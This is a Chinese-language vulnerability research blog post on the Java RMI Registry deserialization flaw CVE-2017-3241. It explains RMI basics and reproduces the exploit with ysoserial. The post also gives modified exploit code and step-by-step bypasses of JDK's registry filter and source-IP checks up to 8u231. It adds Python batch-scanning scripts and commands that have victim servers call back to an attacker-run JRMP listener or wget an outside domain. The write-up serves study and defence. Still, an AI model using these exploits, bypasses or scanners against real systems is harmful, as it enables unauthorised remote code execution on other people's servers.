java访问windows注册表 method native_code2sec.com/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞.md at maste...

Title: CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞

Date: 2020-08-04 10:20

Category: 漏洞实践

Tags: Java,RMI,漏洞,反序列化

Slug:

Authors: bit4woo

Summary:

CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞

如有错误,敬请斧正!

漏洞简介

简要说明

CVE-2017-3241Java RMI Registry.bind() Unvalidated Deserialization

影响版本

JDK版本限制 Java SE <= 6u131, <= 7u121, <= 8u112, Java SE Embedded <= 8u111, JRockit <= R28.3.12

上面这一条是漏洞刚爆出时的版本说明。由于漏洞修复方案不停地被绕过,直到8u241之前的所有版本,仍然可利用这个RMI Registry相关的漏洞。

注意:本文所有JDK版本均为Oracle JDK版本,非OpenJDK版本。

漏洞利用条件

JDK <=8u112,可直接利用;8u112 < JDK < 8u241 利用方式需要反链恶意JRMP服务端,所以需要目标服务器能访问攻击者控制的服务器。

目标服务器引用了gadget所需要的第三方jar包

对于加载远程类(使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性)的问题尚未明确。留待后续文章中说明。

基础知识

RMI基本使用举例

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1596622275039-a169069f-a41c-414f-af7e-f369db90dab1.png)

package baseUsage.service;

import java.rmi.Remote;

import java.rmi.RemoteException;

//注: ICombine是客户端和服务端共用的接口(客户端本地必须有远程对象的接口,不然无法指定要调用的方法,而且其全限定名必须与服务器上的对象完全相同)

public interface ICombine extends Remote {

public String combine(String str1,String str2) throws RemoteException;

}

package baseUsage.service;

import java.rmi.RemoteException;

public class Combiner implements ICombine {

@Override

public String combine(String str1,String str2) throws RemoteException {

String result = str1+"&"+str2;

System.out.println("combine result: "+result);

return result;

}

}

package baseUsage.server;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.rmi.server.UnicastRemoteObject;

import baseUsage.service.Combiner;

import baseUsage.service.ICombine;

public class Server {

public static void main(String[] args) throws Exception{

Server1();

}

//Server1:单纯的使用RMI,没有使用JNDI

public static void Server1() throws Exception {

String name= "combiner";

ICombine combiner=new Combiner();

//这里指定的端口是远程对象所使用的端口,可以和RMI Registry使用相同的端口!!!

//但是我们为了说明远程对象需要使用单独的接口,使用1100

UnicastRemoteObject.exportObject(combiner,1100);

// 创建本机 1099 端口上的RMI registry(RMI注册表,就像windows的注册表一样,可以把它看作是一个可供查询的数据库)

// Registry好比号码百事通、它可以帮你查询真正提供服务的对象,但是真正提供具体服务的却不是它

Registry registry=LocateRegistry.createRegistry(1099);

// 对象绑定到注册表中,让客户端可以有机会查询到它

registry.rebind(name, combiner);

//bind(String name,Object obj):如果该名字已经存在,就会抛出NameAlreadyBoundException。

//rebind(String name,Object obj):不会抛出NameAlreadyBoundException,而是把当前参数obj指定的对象覆盖原先的对象。

}

}

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1596622121865-ef574b5b-d77f-4223-b58c-5c5daf6db455.png)

package baseUsage.client;

import baseUsage.service.ICombine;

import javax.naming.Context;

import javax.naming.InitialContext;

import java.rmi.Naming;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.util.Properties;

public class Client {

public static void main(String[] args) throws Exception{

client1();

client2();

jndiRMIClient();

}

//这是rmi的lookup

public static void client1() throws Exception {

// 获取远程主机上的注册表

Registry registry=LocateRegistry.getRegistry("localhost",1099);

String name="combiner";

// 尝试根据名称,在远程“注册表数据库”中查找对象

ICombine combiner=(ICombine)registry.lookup(name);

String result = combiner.combine("aaaa","bbbb");

System.out.println("client1: "+result);

}

public static void client2() throws Exception{

ICombine combiner=(ICombine)Naming.lookup("rmi://127.0.0.1:1099/combiner");

String result = combiner.combine("aaaa","bbbb");

System.out.println("client2: "+result);

}

//这是jndi的lookup,和rmi的lookup还是不一样的

public static void jndiRMIClient() throws Exception {

Properties env = new Properties();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");

env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

Context ctx = new InitialContext(env);

//通过名称查找对象

ICombine combiner=(ICombine) ctx.lookup("combiner");

String result = combiner.combine("aaaa","bbbb");

System.out.println("jndiRMIClient: "+result);

}

}

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598844823898-e8f9d8f1-10fe-4150-9b91-f5e3dbcca8d5.png)

RMI调用流程梳理

现在梳理一下大致的流程,首先是服务端的流程,对应上面baseUsage.server.Server#Server1中的代码:

服务端先创建对象,这个对象是可以提供远程方法调用的。

可以主动将对象暴露在某个指定的端口。神奇的是端口可以和注册表服务(Registry)的端口一样!

创建注册表服务。

将对象绑定到注册表服务中,以供客户端通过名称来查询。

接着是客户端的流程,对应baseUsage.client.Client#client1中的代码:

先连接注册表服务。

查询是否存在指定名称的远程对象。

如果存在,则连接提供服务的接口,调用远程对象的方法。

远程方法调用的大致过程:

客户端本地创建一个对象,将要执行的函数、参数通过这个对象传递给服务端。

服务端接收到传递过来的数据流,需要先对它进行反序列化操作,还原成对象。

通过还原后的对象,服务端获取到要需要执行的函数和参数信息,在服务端通过反射方法进行方法的调用,获取调用的结果。

将调用的结果存入一个对象,序列化后返回给客户端。

客户端再执行类似的过程,反序列化,然后获取到结果。

漏洞复现

前面讲了《远程方法调用的大致过程》,而这个漏洞的问题就出在 服务端处理“用户需求”的过程中。 服务端在收到客户端发送过来的数据时,需要首先将其反序列化,才能从恢复的对象中获取到需要的参数以便进行后续操作。在反序列化过程中,漏洞就触发了。*

*

漏洞PoC

直接使用上一个步骤中baseUsage.server.Server的代码进行本地环境复现,使用ysoserial中的利用工具,命令如下,成功复现。

"C:\Program Files\Java\jdk-14.0.1\bin\java.exe" -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections1 "calc.exe"

注意点:

1、执行如上命令的java版本最好和运行RMI服务的Java版本一致,这个case中使用的都是JDK1.7.0

2、如下截图是本地测试的截图,RMI Server和执行攻击的Payload都是在同一个主机上运行的,不符合实际攻击场景,只是为了方便截图。

3、同样的JDK环境,远程环境也可以成功触发。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1597049170574-74e7d683-517e-491e-8f9c-b1032a07319d.png)

远程服务器成功利用案例:

D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"

本地的Java环境:

java version "1.8.0_20"

Java(TM) SE Runtime Environment (build 1.8.0_20-b26)

Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)

目标服务器的Java环境:

java version "1.8.0_25"

Java(TM) SE Runtime Environment (build 1.8.0_25-b17)

Java HotSpot(TM) 64-Bit Server VM (build 25.25-b02, mixed mode)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1597048219891-768d6b76-2b1e-4a13-b14a-91afe84d6ddf.png)

定位漏洞代码

还是一样的套路,在java.lang.Runtime#exec(java.lang.String)处下断点,并以debug启动baseUsage.server.Server。然后运行

D:\github>"C:\Program Files\Java\jdk1.7.0\bin\java.exe" -cp D:\ser\ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 100.119.197.111 1099 CommonsCollections1 "calc.exe"

获取到如下调用链:

exec(String):345, Runtime (java.lang)

invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):601, Method (java.lang.reflect)

transform(Object):125, InvokerTransformer (org.apache.commons.collections.functors)

transform(Object):122, ChainedTransformer (org.apache.commons.collections.functors)

get(Object):151, LazyMap (org.apache.commons.collections.map)

invoke(Object, Method, Object[]):68, AnnotationInvocationHandler (sun.reflect.annotation)

entrySet():-1, $Proxy2

readObject(ObjectInputStream):345, AnnotationInvocationHandler (sun.reflect.annotation)

invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):601, Method (java.lang.reflect)

invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)

readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)

readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)

readObject0(boolean):1347, ObjectInputStream (java.io)

readObject():369, ObjectInputStream (java.io)

readObject(ObjectInputStream):1043, HashMap (java.util)

invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):601, Method (java.lang.reflect)

invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)

readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)

readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)

readObject0(boolean):1347, ObjectInputStream (java.io)

defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)

defaultReadObject():498, ObjectInputStream (java.io)

readObject(ObjectInputStream):330, AnnotationInvocationHandler (sun.reflect.annotation)

invoke0(Method, Object, Object[]):-1, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):57, NativeMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):43, DelegatingMethodAccessorImpl (sun.reflect)

invoke(Object, Object[]):601, Method (java.lang.reflect)

invokeReadObject(Object, ObjectInputStream):991, ObjectStreamClass (java.io)

readSerialData(Object, ObjectStreamClass):1866, ObjectInputStream (java.io)

readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)

readObject0(boolean):1347, ObjectInputStream (java.io)

defaultReadFields(Object, ObjectStreamClass):1964, ObjectInputStream (java.io)

readSerialData(Object, ObjectStreamClass):1888, ObjectInputStream (java.io)

readOrdinaryObject(boolean):1771, ObjectInputStream (java.io)

readObject0(boolean):1347, ObjectInputStream (java.io)

readObject():369, ObjectInputStream (java.io)

//后续流程已经是反序列化的逻辑了。

dispatch(Remote, RemoteCall, int, long):-1, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch(Remote, RemoteCall, int):403, UnicastServerRef (sun.rmi.server)

dispatch(Remote, RemoteCall):267, UnicastServerRef (sun.rmi.server)

run():177, Transport$1 (sun.rmi.transport)

run():174, Transport$1 (sun.rmi.transport)

doPrivileged(PrivilegedExceptionAction, AccessControlContext):-1, AccessController (java.security)

serviceCall(RemoteCall):173, Transport (sun.rmi.transport)

handleMessages(Connection, boolean):553, TCPTransport (sun.rmi.transport.tcp)

run0():808, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

run():667, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

runWorker(ThreadPoolExecutor$Worker):1110, ThreadPoolExecutor (java.util.concurrent)

run():603, ThreadPoolExecutor$Worker (java.util.concurrent)

run():722, Thread (java.lang)

RemoteCall对象是用于stub/skeleton进行数据交换的对象,sun.rmi.registry.RegistryImpl_Skel#dispatch中的第二参数就是 StreamRemoteCall类型(RemoteCall的实现类)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598954426136-b7c4ae88-c41e-4d38-aee8-7548a83b8a67.png)

不知道为何不能成功下断点,但是基本还是可以看出漏洞的入口。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599014539440-94a09058-600c-4ce6-952f-fb3fd2a434fa.png)

由于src.zip中不包含sun目录下的源码,我们无法直接阅读sun.rmi.registry这部分关键代码,只能看Idea反编译后的代码或者找OpenJDK

对应部分的源码(不能保证它们代码的一致性)。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598406315353-0244ce35-e3c1-4a41-b409-f8171ca53f1d.png)

查找OpenJDK对应代码

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599011147673-ef7a6b81-379f-409b-826c-c569f80f9d05.png)

通过搜索RegistryImpl_Stub ,找到jdk8u141-b10,发现OpenJDK中,在这个版本中才新建了个RegistryImpl_Stub 文件。可见OpenJDK的Tag和OracleJDK的版本并不对应。很多文章中描述漏洞所写的JDK版本都是OpenJDK版本,而非Oracle JDK的版本,所以阅读的时候得注意区分了。

批量检测

检测脚本

为了更好地检测出问题,我们使用URLDNS这个gadget进行初筛,因为它不受JDK版本限制,也不需要额外的Gadget依赖包。然后再使用其他Gadget进行利用尝试。

# !/usr/bin/env python

# -*- coding:utf-8 -*-

__author__ = 'bit4woo'

__github__ = 'https://github.com/bit4woo'

import subprocess

'''

Java RMI Registry.bind() 反序列化代码执行漏洞

注意:URLDNS这个gadget也只能检测8u121以下的版本。更完善的脚本见后续章节

'''

def poc(ip, port="1099"):

try:

ys_filepath = r'D:\ser\ysoserial-0.0.5.jar'

# D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"

popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://rmi.{0}.bit.0y0.link".format(ip)],

stdout=subprocess.PIPE)

output = popen.stdout.read()

print(output)

except Exception as e:

print(e)

if __name__ == "__main__":

print(poc("10.203.20.57"))

检测中的异常

java.rmi.ConnectIOException: non-JRMP server at remote endpoint

JRMP是Java RMI使用的协议,non-JRMP server 这个错误很简单,就是目标端口根本就不是RMI的相关端口。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598864874001-a14e8238-ba8b-4e4f-9d90-f01c52a631ca.png)

java.lang.ClassNotFoundException

核心错误信息类似: java.lang.ClassNotFoundException: org.apache.commons.collections.map.LazyMap (no security manager: RMI class loader disabled) ,根据这个错误信息也很容易识别出问题,即“服务端缺少gadget所对应的依赖包”。

遇到这种情况有2个思路:

1、挨个尝试所有gadget。一般URLDNS这个gadget是会成功的,能表明漏洞存在,但是能不能利用还得看是否有其他可执行命令的gadget的依赖包存在。

2、考虑远程加载类。使用JNDI reference,结合RMI,LDAP实现;或者利用RMI的codebase特性。笔者水平有限,这部分内容还没有弄明白,留待学习后,在后续文章中说明。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598407940651-0cac7073-321a-47c3-abd6-b3ce5096b091.png)

class invalid for deserialization

服务端的gadget依赖包版不符合要求,一般是版本过高。也只能通过尝试其他gadget进行尝试。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598948476557-22687a69-0084-4842-af98-b1217a793d78.png)

When Java security is enabled, support for deserializing TemplatesImpl is disabled

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599730851246-c8c31dbd-5909-4689-808e-e71e3d53dc95.png)

通过查看实际环境发现,大多报这种错误的服务端都是jstatd起的服务,很明显它也缺少gadget依赖包。对于是否有继续利用的可能,和ClassNotFoundException中一样,需要弄明白加载远程类的可能才能确定。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1600248113469-82d46529-9a6d-41c3-8286-377bee92f834.png)

java.io.InvalidClassException: filter status: REJECTED

错误信息截图如下,即使是URLDNS这个最常用于检测的gadget也是会被拦截的。所以我们最开始的检测脚本也不是万能的。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598865735378-a2ebb753-ee11-4ab7-8f61-1f4b3e67641e.png)

对应的服务端信息

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598869835904-63ec2c14-7436-47d7-8b90-ba743cd152d6.png)

这个错误的原因是:从JDK8u121开始(包括JDK8u121),加入了 sun.rmi.registry.RegistryImpl#registryFilter 的限制。相关源码可以参考OpenJDK中的代码,这部分代码和Oracle JDK应该是一致的。http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/5534221c23fc/src/share/classes/sun/rmi/registry/RegistryImpl.java#l388 见下图

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598929474616-4fee4960-fd42-4a05-999d-cb78a7140167.png)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599027867965-7bca2b13-75ae-4109-acb3-68282d8c647c.png)

遇到这个错误还有可能利用吗?答案是有的。绕过registryFilter进行攻击的细节请见后续章节《修复和绕过》。

java.rmi.AccessException: Registry.Registry.bind disallowed

复现问题的2个测试环境JDK版本:

java version "1.8.0_144"

Java(TM) SE Runtime Environment (build 1.8.0_144-b01)

Java HotSpot(TM) 64-Bit Server VM (build 25.144-b01, mixed mode)

java version "1.8.0_181"

Java(TM) SE Runtime Environment (build 1.8.0_181-b13)

Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)

错误信息

java.rmi.AccessException: Registry.Registry.bind disallowed; origin /100.119.197.111 is non-local host

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1598931202517-e9a0ff3d-a5e1-4446-b142-f89c413c6dcf.png)

该异常是由于 JDK >= 8u141时,sun.rmi.registry.RegistryImpl#checkAccess 会进行来源IP地址的检查,如果请求的IP地址不是本机的IP地址,则拒绝执行bind操作。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599017205112-9210ec26-758e-4309-9613-291620555151.png)

遇到这种情况仍然有利用的希望,因为在8u141中的检测只针对了三种操作:bind\rebind\unbind,而没有对lookup进行限制。使用lookup方法进行攻击的细节请见后续章节《修复和绕过》。

修复和绕过

整理的修复和绕过版本对应如图

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599551987770-38f4ea97-a031-4790-b11d-e73e60eab647.png)

绕过filterCheck(java.io.InvalidClassException: filter status: REJECTED的解决方案)

绕过白名单过滤的利用方式,我们先要大致了解一下ysoserial中的几个关键类。

payloads 名称,攻击载荷,是静态数据包。payloads包下的类主要用于生成payload。

exploit 动词,攻击利用,是主动的动作。exploit包下的类主要用于发起攻击。

ysoserial.payloads.JRMPClient 使用这个类生成的payload进行攻击,被攻击的服务器会开启新的JRMP客户端。

ysoserial.payloads.JRMPListener 使用这个类生成的Payload进行攻击,被攻击的服务端会开启新的JRMP监听。通常和ysoserial.exploit.JRMPClient配合使用。

再使用ysoserial.exploit.JRMPClient来攻击刚刚漏洞服务器启动的JRMP服务。

ysoserial.exploit.JRMPClassLoadingListener

ysoserial.exploit.JRMPClient

ysoserial.exploit.JRMPListener 本地开启一个RMI监听,但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

在我们的这个情形下,需要 ysoserial.exploit.JRMPListener 和 ysoserial.payloads.JRMPClient的配合使用。在使用前,需要先改造一下ysoserial:

1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitBypassFilter1。

2、将其ysoserial.exploit.RMIRegistryExploitBypassFilter1#exploit函数中的Remote对象生成方法进行替换。

如下图:

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599207050718-6fe1ca89-155d-4de0-b5d4-f4cbeff3d361.png)

接下来重新打包ysoserial(mvn clean package -DskipTests)并按如下步骤进行。

1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitBypassFilter1向漏洞服务器发起请求

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilter1 127.0.0.1 1099 JRMPClient sz.myvps.com:1099

注意:这里使用的是CommonsCollections2这个gadget进行测试的,其他gadget还需再测试(因为我测试CommonsCollections1失败了~)。

关于这部分的利用可以参考bsmali4的文章《一次攻击内网rmi服务的深思》,其中包含了探索过程和另外2个绕过Payload。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599533756927-110d7573-adf2-4df1-af04-1ba2572d377c.png)

漏洞触发的调用栈。

executeCall():208, StreamRemoteCall (sun.rmi.transport)

invoke(RemoteCall):379, UnicastRef (sun.rmi.server)

dirty(ObjID[], long, Lease):-1, DGCImpl_Stub (sun.rmi.transport)

makeDirtyCall(Set, long):378, DGCClient$EndpointEntry (sun.rmi.transport)

access$1600(DGCClient$EndpointEntry, Set, long):188, DGCClient$EndpointEntry (sun.rmi.transport)

run():596, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)

run():593, DGCClient$EndpointEntry$RenewCleanThread$1 (sun.rmi.transport)

doPrivileged(PrivilegedAction, AccessControlContext):-1, AccessController (java.security)

run():593, DGCClient$EndpointEntry$RenewCleanThread (sun.rmi.transport)

run():745, Thread (java.lang)

绕过checkAccess(java.rmi.AccessException: Registry.Registry.bind disallowed 的解决方案)

改造lookup方法:

1、复制ysoserial.exploit.RMIRegistryExploit并重命名为ysoserial.exploit.RMIRegistryExploitLookup。

2、在ysoserial.exploit.RMIRegistryExploitLookup这个类中创建一个新的lookup函数,代码如下:

//参考sun.rmi.registry.RegistryImpl_Stub.lookup方法进行修改。主要是将writeObject的参数类型改为Object。

public static void lookup(Registry registry,Object var1) throws AccessException, NotBoundException, RemoteException {

try {

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");

StreamRemoteCall var2 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);

try {

ObjectOutput var3 = var2.getOutputStream();

var3.writeObject(var1);

} catch (IOException var15) {

throw new MarshalException("error marshalling arguments", var15);

}

ref.invoke(var2);//这个语句不能少,否则不会触发。

} catch (RuntimeException var16) {

throw var16;

} catch (RemoteException var17) {

throw var17;

} catch (NotBoundException var18) {

throw var18;

} catch (Exception var19) {

throw new UnexpectedException("undeclared checked exception", var19);

}

}

3、然后修改ysoserial.exploit.RMIRegistryExploitLookup#exploit中的bind为lookup方法。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599208748091-1507b52c-c30b-44d7-9467-e20ab32c6920.png)

由于JDK在添加远程IP限制前,就已经添加了白名单限制,而我们上面改造的payload只是做了操作方法的改造(lookup),没有考虑绕过白名单,所以我们要选择一个低于8u121版本的JDK进行测试,先保证lookup方式能正常工作后再将二者融合。

这里再插入一个小问题:是否可以通过bind的name参数进行攻击?

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599135742184-706b8dc0-a0b7-4644-85ff-2de6a008df08.png)

小于JDK8u231版本的通用Payload

将以上2部分的改造相结合。然后再按照如下步骤就复现。

1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitBypassFilterAndLookup向漏洞服务器发起请求

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599211400581-72f3c31a-a8ed-4b7f-aead-72158fc13959.png)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599533627006-55908fa4-af31-48af-a246-284ae647d616.png)

JDK8u231版本的修复

8u231版本的修复思路是:1、避免反向链接。2、垃圾回收的处理逻辑添加来源数据的过滤。

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599098636645-632e7904-9b41-4777-8ce1-af67d3c6bdbc.png)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599466541597-e082feff-67b3-4539-8748-5cfdd1044323.png)

JDK8u231的绕过

/*经过改造的lookup函数

将enableReplace属性改为了false

*/

public static void lookup(Registry registry,Remote var1) throws AccessException, AlreadyBoundException, RemoteException {

try {

Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};

RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,"ref");

StreamRemoteCall var3 = (StreamRemoteCall)ref.newCall((java.rmi.server.RemoteObject)registry, operations, 2, 4905912898345647071L);

ObjectOutput var4;

try {

var4 = var3.getOutputStream();

Reflections.setFieldValue(var4,"enableReplace",false);

var4.writeObject(var1);

} catch (IOException var5) {

throw new MarshalException("error marshalling arguments", var5);

}

ref.invoke(var3);

ref.done(var3);

} catch (RuntimeException var6) {

throw var6;

} catch (RemoteException var7) {

throw var7;

} catch (AlreadyBoundException var8) {

throw var8;

} catch (Exception var9) {

throw new UnexpectedException("undeclared checked exception", var9);

}

}

1、在自己的VPS服务器上启用JRMP监听,如前面所说:但是它是一个恶意的服务端,会向连接它的客户端发送攻击攻Payload,以攻击客户端。

java -cp ysoserial-0.0.5.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections2 "calc.exe"

2、使用改造过的RMIRegistryExploitJdk8u231向漏洞服务器发起请求,针对8u231版本的JDK的利用,必须和JRMPClient2一起使用!!!

java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitJdk8u231 192.168.1.100 1099 JRMPClient2 sz.myvps.com:1099

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599483103464-bcb152bd-fe65-4a34-8790-3424a7fa3535.png)

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599553346268-960cba73-4746-4533-9dba-851a899c81a1.png)

更完善的检测脚本

至此可以更新一版检测脚本了,使用RMIRegistryExploitJdk8u231和JRMPClient2,能检测到URLDNS检测不到的高版本(8u121---8u231),避免部分漏报了。

但值得注意的是,这个PoC能检测出的目标,不一定都能利用,尤其是缺少gadget对应的依赖包的情况下。

# !/usr/bin/env python

# -*- coding:utf-8 -*-

__author__ = 'bit4woo'

__github__ = 'https://github.com/bit4woo'

import subprocess

'''

Java RMI Registry.bind() 反序列化代码执行漏洞

'''

fpw = open("rmi-errors-20200907.txt","w")

# 注意:URLDNS这个gadget也只能检测8u121以下的版本

def poc_URLDNS(ip, port="1099"):

try:

ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'

dnslog = dnslogapi.DNSlog(ip+".urldns")

domain = dnslog.getPayload()

# D:\ser>java -cp ysoserial-0.0.5.jar ysoserial.exploit.RMIRegistryExploit 10.203.20.57 1099 CommonsCollections1 "wget rmiyso.bit.0y0.link"

popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploit",ip,port,"URLDNS", "http://"+domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)

fpw.writelines("=================" + ip + "================\r\n")

error = popen.stderr.read()

# print (error)

fpw.writelines(bytes.decode(error))

fpw.writelines("\r\n")

fpw.flush()

return dnslog.query()

except Exception as e:

print(e)

return False

# 相比URLDNS这个gadget,能检测到URLDNS检测不到的高版本(8u121---8u221)

def poc_JRMPClient(ip, port="1099"):

try:

ys_filepath = r'D:\ser\ysoserial-0.0.6-bit4woo-all.jar'

dnslog = dnslogapi.DNSlog(ip+".JRMPClient")

domain = dnslog.getPayload()

# 这个payload如果能收到dnslog,说明JDK版本小于8u231,存在利用可能的。但是到底能不能利用,还是需要进一步的验证。

# java -cp ysoserial-0.0.6-bit4woo-all.jar ysoserial.exploit.RMIRegistryExploitBypassFilterAndLookup 192.168.1.100 1099 JRMPClient sz.myvps.com:1099

popen = subprocess.Popen(["java", '-cp', ys_filepath, "ysoserial.exploit.RMIRegistryExploitJdk8u231",ip,port,"JRMPClient2", domain],stdout=subprocess.PIPE,stderr=subprocess.PIPE)

fpw.writelines("================="+ip+"================\r\n")

error = popen.stderr.read()

# print (error)

fpw.writelines(bytes.decode(error))

fpw.writelines("\r\n")

fpw.flush()

return dnslog.query()

except Exception as e:

print(e)

return False

def poc(ip, port="1099"):

return poc_JRMPClient(ip,port)

if __name__ == "__main__":

print(poc("10.203.20.57"))

![image.png](img/CVE-2017-3241 Java RMI Registry.bind()反序列化漏洞/1599532937563-4cd6468a-9128-4c09-b961-c46a9b0959f4.png)

参考链接

RMI基础原理

漏洞发现者的文章

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析:

java.io.InvalidClassException: filter status: REJECTED异常相关

漏洞修复绕过相关

酒仙桥六号部队:RMI 利用分析

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

